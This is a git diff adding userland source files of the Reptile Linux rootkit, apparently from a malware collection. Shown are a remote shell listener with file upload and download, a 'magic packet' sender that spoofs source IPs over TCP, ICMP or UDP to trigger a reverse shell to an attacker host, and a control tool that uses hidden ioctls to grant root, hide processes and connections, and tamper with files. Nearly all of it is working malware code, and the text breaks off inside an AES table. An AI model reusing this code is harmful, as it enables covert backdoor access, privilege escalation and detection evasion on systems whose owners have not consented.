"); + } + } + + len = strlen(temp); + ret = pel_send_msg(sock, (unsigned char *)temp, len); + free(temp); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + if (isatty(1)) { + if (tcgetattr(1, &tp) < 0) { + p_error("tcgetattr"); + return 1; + } + + memcpy((void *)&tr, (void *)&tp, sizeof(tr)); + + tr.c_iflag |= IGNPAR; + tr.c_iflag &= + ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); + tr.c_lflag &= + ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); + tr.c_oflag &= ~OPOST; + + tr.c_cc[VMIN] = 1; + tr.c_cc[VTIME] = 0; + + if (tcsetattr(1, TCSADRAIN, &tr) < 0) { + p_error("tcsetattr"); + return 1; + } + } + + while (1) { + FD_ZERO(&rd); + + if (imf != 0) + FD_SET(0, &rd); + + FD_SET(sock, &rd); + + if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) { + p_error("select"); + break; + } + + if (FD_ISSET(sock, &rd)) { + ret = pel_recv_msg(sock, message, &len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_recv_msg"); + break; + } + + if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) { + if (isatty(1)) + tcsetattr(1, TCSADRAIN, &tp); + + fprintf(stdout, "\n"); + return 1; + } + + if (write(1, message, len) != len) { + p_error("write"); + break; + } + } + + if (imf != 0 && FD_ISSET(0, &rd)) { + if ((len = read(0, message, BUFSIZE)) < 0) { + p_error("read"); + break; + } + + if (len == 0) { + fprintf(stderr, "stdin: end-of-file\n"); + break; + } + + ret = pel_send_msg(sock, message, len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + break; + } + } + } + + if (isatty(1)) + tcsetattr(1, TCSADRAIN, &tp); + + return 1; +} + +int get_file(int sock, char **args) +{ + char *temp, *pathname; + int ret, len, fd, total; + unsigned char out = OUT; + + if (args[1] == NULL || args[2] == NULL) { + fprintf(stderr, "%s wrong arguments\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + + len = strlen(args[1]); + + ret = pel_send_msg(sock, (unsigned char *)args[1], len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + temp = strrchr(args[1], '/'); + + if (temp != NULL) + temp++; + if (temp == NULL) + temp = args[1]; + + len = strlen(args[2]); + + pathname = (char *)malloc(len + strlen(temp) + 2); + + if (pathname == NULL) { + p_error("malloc"); + return 1; + } + + strcpy(pathname, args[2]); + strcpy(pathname + len, "/"); + strcpy(pathname + len + 1, temp); + + fd = creat(pathname, 0644); + + if (fd < 0) { + p_error("creat"); + free(pathname); + return 1; + } + + free(pathname); + + total = 0; + + while (1) { + ret = pel_recv_msg(sock, message, &len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_recv_msg"); + fprintf(stderr, "%s Transfer failed.\n", bad); + return 1; + } + + if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0) + break; + + if (write(fd, message, len) != len) { + p_error("write"); + return 1; + } + + total += len; + + fprintf(stdout, "%d\r", total); + fflush(stdout); + } + + fprintf(stdout, "%s %d done.\n\n", good, total); + + return 1; +} + +int put_file(int sock, char **args) +{ + char *temp, *pathname; + int ret, len, fd, total; + unsigned char out = OUT; + + if (args[1] == NULL || args[2] == NULL) { + fprintf(stderr, "%s wrong arguments\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + + temp = strrchr(args[1], '/'); + + if (temp != NULL) + temp++; + if (temp == NULL) + temp = args[1]; + + len = strlen(args[2]); + + pathname = (char *)malloc(len + strlen(temp) + 2); + + if (pathname == NULL) { + p_error("malloc"); + return 1; + } + + strcpy(pathname, args[2]); + strcpy(pathname + len, "/"); + strcpy(pathname + len + 1, temp); + + len = strlen(pathname); + + ret = pel_send_msg(sock, (unsigned char *)pathname, len); + + free(pathname); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + fd = open(args[1], O_RDONLY); + + if (fd < 0) { + p_error("open"); + return 1; + } + + total = 0; + + while (1) { + len = read(fd, message, BUFSIZE); + + if (len < 0) { + p_error("read"); + return 1; + } + + if (len == 0) { + break; + } + + ret = pel_send_msg(sock, message, len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + fprintf(stderr, "%s Transfer failed.\n", bad); + return 1; + } + + total += len; + + printf("%s %d\r", good, total); + fflush(stdout); + } + + pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); + + printf("%s %d done.\n\n", good, total); + return 1; +} + +int delay(int sock, char **args) +{ + int ret, flag; + unsigned int i, j; + char *numbers = "0123456789"; + unsigned char out = OUT; + + if (args[1] == NULL) { + fprintf(stderr, "%s no arguments\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + + for (i = 0; i < strlen(args[1]); i++) { + flag = 0; + + for (j = 0; j < strlen(numbers); j++) { + if (args[1][i] == numbers[j]) + flag = 1; + } + + if (flag == 0) { + fprintf(stderr, "%s wrong argument\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + } + + ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1])); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + fprintf(stdout, "%s delay -> %s\n\n", good, args[1]); + return 1; +} + +int execute(int sock, char **args) +{ + int i, ret; + + if (args[0] == NULL || sock == -1) + return 1; + + for (i = 0; i < num_builtins(); i++) { + if (strcmp(args[0], builtin_str[i]) == 0) { + if (i == 0) { + return (*builtin_func[i])(sock, args); + } else { + ret = + pel_send_msg(sock, (unsigned char *)&i, 1); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + return (*builtin_func[i])(sock, args); + } + } + } + + i = 3; + ret = pel_send_msg(sock, (unsigned char *)&i, 1); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + return (*builtin_func[3])(sock, args); +} + +char *read_line(void) +{ + int bufsize = RL_BUFSIZE; + int position = 0; + char *buffer = malloc(sizeof(char) * bufsize); + int c; + + if (!buffer) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + while (1) { + c = getchar(); + + if (c == EOF) { + free(buffer); + exit(EXIT_SUCCESS); + } else if (c == '\n') { + buffer[position] = '\0'; + return buffer; + } else { + buffer[position] = c; + } + position++; + + if (position >= bufsize) { + bufsize += RL_BUFSIZE; + char *buffer_backup = buffer; + if ((buffer = realloc(buffer, bufsize)) == NULL) { + free(buffer_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + } +} + +char **parse(char *line) +{ + int bufsize = TOK_BUFSIZE, position = 0; + char **tokens = malloc(bufsize * sizeof(char *)); + char *token, **tokens_backup; + + if (!tokens) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + token = strtok(line, TOK_DELIM); + while (token != NULL) { + tokens[position] = token; + position++; + + if (position >= bufsize) { + bufsize += TOK_BUFSIZE; + tokens_backup = tokens; + tokens = realloc(tokens, bufsize * sizeof(char *)); + if (!tokens) { + free(tokens_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + + token = strtok(NULL, TOK_DELIM); + } + tokens[position] = NULL; + return tokens; +} + +void reptile_loop(int sock) +{ + char *line; + char **args; + int status; + + do { + line = readline("\e[01;32mreptile> \e[00m"); + add_history(line); + + args = parse(line); + status = execute(sock, args); + + free(line); + free(args); + } while (status); + + clear_history(); +} + +void handle_shutdown(int signal) +{ + close(sockfd); + exit(signal); +} + +void listener(int port) +{ + int new_sockfd, yes = 1; + struct sockaddr_in host_addr, client_addr; + socklen_t sin_size; + + if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { + kill(pid, SIGQUIT); + fatal("in socket"); + } + + if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == + -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("setting socket option SO_REUSEADDR"); + } + + signal(SIGTERM, handle_shutdown); + signal(SIGINT, handle_shutdown); + + host_addr.sin_family = AF_INET; + host_addr.sin_port = htons(port); + host_addr.sin_addr.s_addr = INADDR_ANY; + memset(&(host_addr.sin_zero), '\0', 8); + + if (bind(sockfd, (struct sockaddr *)&host_addr, + sizeof(struct sockaddr)) == -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("binding to socket"); + } + + if (listen(sockfd, 5) == -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("listening on socket"); + } else { + fprintf(stdout, "%s Listening on port %d...\n", good, port); + } + + sin_size = sizeof(struct sockaddr_in); + new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); + + if (new_sockfd == -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("accepting connection"); + } + + fprintf(stdout, "%s Connection from %s:%d\n\n", awesome, + inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); + + // usleep(100 * 1500); + + if (password == NULL) { + password = getpass("Password: "); + fprintf(stdout, "\n"); + } + + if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) { + close(new_sockfd); + fprintf(stdout, "%s wrong password!\n\n", bad); + exit(ERROR); + } + + banner(); + reptile_loop(new_sockfd); + + shutdown(new_sockfd, SHUT_RDWR); + close(sockfd); +} + +void usage(char *argv0) +{ + fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", + argv0); + exit(1); +} + +int main(int argc, char **argv) +{ + int opt, port = 0; + + while ((opt = getopt(argc, argv, "p:s:")) != EOF) { + switch (opt) { + case 'p': + port = atoi(optarg); + break; + case 's': + password = optarg; + break; + default: + usage(argv[0]); + break; + } + } + + if (port == 0) + usage(*argv); + + if (argc <= 1) + usage(argv[0]); + + // printf("\n\e[01;36mReptile Shell\e[00m\n"); + // printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); + + if (password != NULL) + fprintf(stdout, "%s Using password: %s\n", good, password); + + pid = fork(); + + if (pid == -1) + fatal("on forking proccess"); + + if (pid > 0) + listener(port); + + // if (pid == 0) + // background job while we are listening + + return EXIT_SUCCESS; +} diff --git a/Linux/Rootkits/Reptile/userland/client/packet.c b/Linux/Rootkits/Reptile/userland/client/packet.c new file mode 100644 index 0000000..6c854c0 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/client/packet.c @@ -0,0 +1,464 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "custom_rol32.h" +#include "util.h" + +// Don't worry, it is gonna cahnged next version +#define KEY 0x6de56d3b +#define IPID 3429 +#define SEQ 15123 +#define WIN 9965 + +struct pseudohdr +{ + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t length; +}; + +unsigned short csum(unsigned short *buf, int nwords) +{ + unsigned long sum; + unsigned short odd; + + for (sum = 0; nwords > 1; nwords-=2) + sum += *buf++; + + if (nwords == 1) { + odd = 0; + *((unsigned char *)&odd) = *(unsigned char *)buf; + sum += odd; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + + return ~sum; +} + +int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) +{ + int socktcp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam, plen; + char *buffer; + struct iphdr *iph; + struct tcphdr *tcph; + struct sockaddr_in s; + socklen_t optval = 1; + struct pseudohdr psh; + char *pseudo_packet; + + pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len; + + if (!(buffer = (char *)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + memset(buffer, '\0', pckt_tam); + + iph = (struct iphdr *)buffer; + tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr)); + + if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { + fatal("on creating TCP socket"); + goto free_buffer; + } + + if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { + fatal("on setsockopt"); + goto close_socket; + } + + memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len); + + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_TCP; + iph->tot_len = pckt_tam; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + + //iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); + iph->check = csum((unsigned short *)buffer, iph->tot_len); + + tcph->source = htons(srcport); + tcph->dest = htons(dstport); + tcph->seq = 0x0; + tcph->ack_seq = 0; + tcph->doff = 5; + tcph->fin = 0; + tcph->syn = 1; + tcph->rst = 0; + tcph->psh = 0; + tcph->ack = 0; + tcph->urg = 0; + tcph->window = htons(WIN); + tcph->urg_ptr = 0; + tcph->check = 0; + + psh.saddr = inet_addr(srcip); + psh.daddr = inet_addr(dstip); + psh.zero = 0; + psh.protocol = IPPROTO_TCP; + psh.length = htons(sizeof(struct tcphdr) + data_len); + + plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len; + + if ((pseudo_packet = malloc(plen)) == NULL) { + fatal("on malloc"); + goto close_socket; + } + + bzero(pseudo_packet, plen); + memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); + + tcph->seq = htons(SEQ); + tcph->check = 0; + memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len); + tcph->check = csum((unsigned short *)pseudo_packet, plen); + + s.sin_family = AF_INET; + s.sin_port = htons(dstport); + s.sin_addr.s_addr = inet_addr(dstip); + + if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + if (nbytes > 0) { + fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + + free(pseudo_packet); +close_socket: + close(socktcp); +free_buffer: + free(buffer); + return ret; +} + +int icmp(char *srcip, char *dstip, char *data, unsigned int data_len) +{ + int sockicmp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam; + char *buffer; + struct iphdr *iph; + struct icmphdr *icmp; + struct sockaddr_in s; + socklen_t optval = 1; + + pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len); + + if (!(buffer = (char *)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + memset(buffer, '\0', pckt_tam); + + iph = (struct iphdr *)buffer; + icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); + + if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { + fatal("in creating raw ICMP socket"); + goto free_buffer; + } + + if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { + fatal("in setsockopt"); + goto close_socket; + } + + memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len); + + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_ICMP; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + iph->tot_len = pckt_tam; + iph->check = csum((unsigned short *)buffer, iph->tot_len); + + icmp->type = 8; + icmp->code = ICMP_ECHO; + icmp->checksum = 0; + icmp->un.echo.id = htons(WIN); + icmp->un.echo.sequence = htons(SEQ); + + icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); + + s.sin_family = AF_INET; + s.sin_addr.s_addr = inet_addr(dstip); + + if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + if (nbytes > 0) { + fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + +close_socket: + close(sockicmp); +free_buffer: + free(buffer); + return ret; +} + +int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) +{ + int sockudp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam, plen; + char *buffer; + struct iphdr *iph; + struct udphdr *udph; + struct sockaddr_in s; + socklen_t optval = 1; + struct pseudohdr psh; + char *pseudo_packet; + + pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len; + + if (!(buffer = (char *)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + memset(buffer, '\0', pckt_tam); + + iph = (struct iphdr *)buffer; + udph = (struct udphdr *)(buffer + sizeof(struct iphdr)); + + if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) { + fatal("on creating UDP socket"); + goto free_buffer; + } + + if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { + fatal("on setsockopt"); + goto close_socket; + } + + memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len); + + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_UDP; + iph->tot_len = pckt_tam; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + iph->check = csum((unsigned short *)buffer, iph->tot_len); + + udph->source = htons(srcport); + udph->dest = htons(dstport); + udph->len = htons(sizeof(struct udphdr) + data_len); + udph->check = 0; + + psh.saddr = inet_addr(srcip); + psh.daddr = inet_addr(dstip); + psh.zero = 0; + psh.protocol = IPPROTO_UDP; + psh.length = htons(sizeof(struct udphdr) + data_len); + + plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len; + + if ((pseudo_packet = malloc(plen)) == NULL) { + fatal("on malloc"); + goto close_socket; + } + + bzero(pseudo_packet, plen); + memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); + + udph->check = 0; + memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); + udph->check = csum((unsigned short *)pseudo_packet, plen); + + //fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check)); + + s.sin_family = AF_INET; + s.sin_port = htons(dstport); + s.sin_addr.s_addr = inet_addr(dstip); + + if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + if (nbytes > 0) { + fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + + free(pseudo_packet); +close_socket: + close(sockudp); +free_buffer: + free(buffer); + return ret; +} + +void usage(char *argv0) +{ + fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n"); + fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n"); + fprintf(stderr, "\nUsage: %s [options]\n\n", argv0); + fprintf(stderr, "-t\tTarget\n"); + fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n"); + fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n"); + fprintf(stderr, "-s\tSource IP address to spoof\n"); + fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n"); + fprintf(stderr, "-l\tHost to receive the reverse shell\n"); + fprintf(stderr, "-p\tHost port to receive the reverse shell\n"); + fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n"); + exit(1); +} + +int main(int argc, char **argv) +{ + int opt, dstport, srcport, len, crypt_len; + char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port, + *token, *data; + + dstport = srcport = 0; + + prot = dstip = srcip = connect_back_host = connect_back_port = token = + NULL; + + while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) { + switch (opt) { + case 'x': + prot = optarg; + if (strcmp(prot, "icmp") == 0 || + strcmp(prot, "ICMP") == 0) { + if (strcmp(prot, "udp") == 0 || + strcmp(prot, "UDP") == 0) { + if (strcmp(prot, "tcp") == 0 || + strcmp(prot, "TCP") == 0) { + printf("%s wrong " + "protocol\n", + bad); + exit(-1); + } + } + } + break; + case 't': + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + dstip = optarg; + break; + case 'l': + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + connect_back_host = optarg; + break; + case 'p': + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + connect_back_port = optarg; + break; + case 'r': + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + dstport = atoi(optarg); + break; + case 's': + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + srcip = optarg; + break; + case 'q': + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + srcport = atoi(optarg); + break; + case 'k': + if (strlen(optarg) > 16 || strlen(optarg) < 5) { + printf("%s wrong size of token\n", bad); + exit(-1); + } + token = optarg; + break; + default: + usage(argv[0]); + break; + } + } + + if (prot == NULL || dstip == NULL || srcip == NULL || + connect_back_host == NULL || connect_back_port == NULL || + token == NULL) { + usage(argv[0]); + } + + if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 || + strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) { + if (srcport == 0 || dstport == 0) + usage(argv[0]); + } + + + len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3; + crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2; + data = (char *)malloc(len); + + if (!data) + fatal("malloc"); + + bzero(data, len); + snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port); + do_encrypt(data + strlen(token) + 1, crypt_len, KEY); + + // printf("data size: %d\n", len); + + if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { + tcp(srcip, dstip, srcport, dstport, data, len); + } else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { + icmp(srcip, dstip, data, len); + } else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { + udp(srcip, dstip, srcport, dstport, data, len); + } + + free(data); + return EXIT_SUCCESS; +} diff --git a/Linux/Rootkits/Reptile/userland/cmd.c b/Linux/Rootkits/Reptile/userland/cmd.c new file mode 100644 index 0000000..e7fe6eb --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/cmd.c @@ -0,0 +1,187 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SHELL "/bin/bash" + +struct control { + unsigned short cmd; + void *argv; +}; + +int main(int argc, char **argv) +{ + int sockfd; + struct control args; + struct sockaddr_in addr; + struct hostent *host; + unsigned int pid; + char *bash = SHELL; + char *envp[1] = {NULL}; + char *arg[3] = {SHELL, NULL}; + + if (argc < 2) + exit(0); + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + if (sockfd < 0) + goto fail; + + if (strcmp(argv[1], "root") == 0) { + if (geteuid() == 0) { + printf("You are already root! :)\n\n"); + close(sockfd); + goto out; + } + + args.cmd = 3; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + ioctl(sockfd, AUTH, &args); + ioctl(sockfd, AUTH, HTUA); + } + + if (geteuid() == 0) { + printf("\e[01;36mYou got super powers!\e[00m\n\n"); + execve(bash, arg, envp); + } else { + printf("\e[00;31mYou have no power here! :( \e[00m\n\n"); + } + + goto out; + } + + if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) { + if (argc < 2) + goto fail; + + if (argc == 2) { + args.cmd = 0; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } else { + + args.cmd = 1; + pid = (unsigned int)atoi(argv[2]); + args.argv = &pid; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } + } + + if (strcmp(argv[1], "file-tampering") == 0) { + args.cmd = 2; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } + + if (strcmp(argv[1], "conn") == 0) { + if (argc < 4) + goto fail; + + if (strcmp(argv[4], "hide") == 0) { + args.cmd = 4; + } else if (strcmp(argv[4], "show") == 0) { + args.cmd = 5; + } else { + goto fail; + } + + host = gethostbyname(argv[2]); + + if (host == NULL) + goto fail; + + memcpy((void *)&addr.sin_addr, (void *)host->h_addr, + host->h_length); + + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(argv[3])); + + args.argv = &addr; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } +/* + +// This part is deprecated. There is no reason to hide specific protocols +// when you want to hide some connection, in the most of cases you will +// need to hide every connection and everything about your attacker server. + + if (strcmp(argv[1], "udp") == 0) { + if (argc < 4) + goto fail; + + if (strcmp(argv[4], "hide") == 0) { + args.cmd = 6; + } else if (strcmp(argv[4], "show") == 0) { + args.cmd = 7; + } else { + goto fail; + } + + host = gethostbyname(argv[2]); + + if (host == NULL) + goto fail; + + memcpy((void *)&addr.sin_addr, (void *)host->h_addr, + host->h_length); + + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(argv[3])); + + args.argv = &addr; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } +*/ +fail: + printf("\e[01;31mFailed!\e[00m\n"); +out: + close(sockfd); + return 0; +} diff --git a/Linux/Rootkits/Reptile/userland/crypto/aes.c b/Linux/Rootkits/Reptile/userland/crypto/aes.c new file mode 100644 index 0000000..2cc673d --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/crypto/aes.c @@ -0,0 +1,646 @@ +/* + * FIPS-197 compliant AES implementation, + * by Christophe Devine ; + * this program is licensed under the GPL. + */ + +#include "aes.h" + +/* forward S-box */ + +static uint32 FSb[256] = { + 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, + 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, + 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, + 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, + 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, + 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, + 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, + 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, + 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, + 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, + 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, + 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, + 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, + 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, + 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, + 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, + 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, + 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, + 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, + 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, + 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 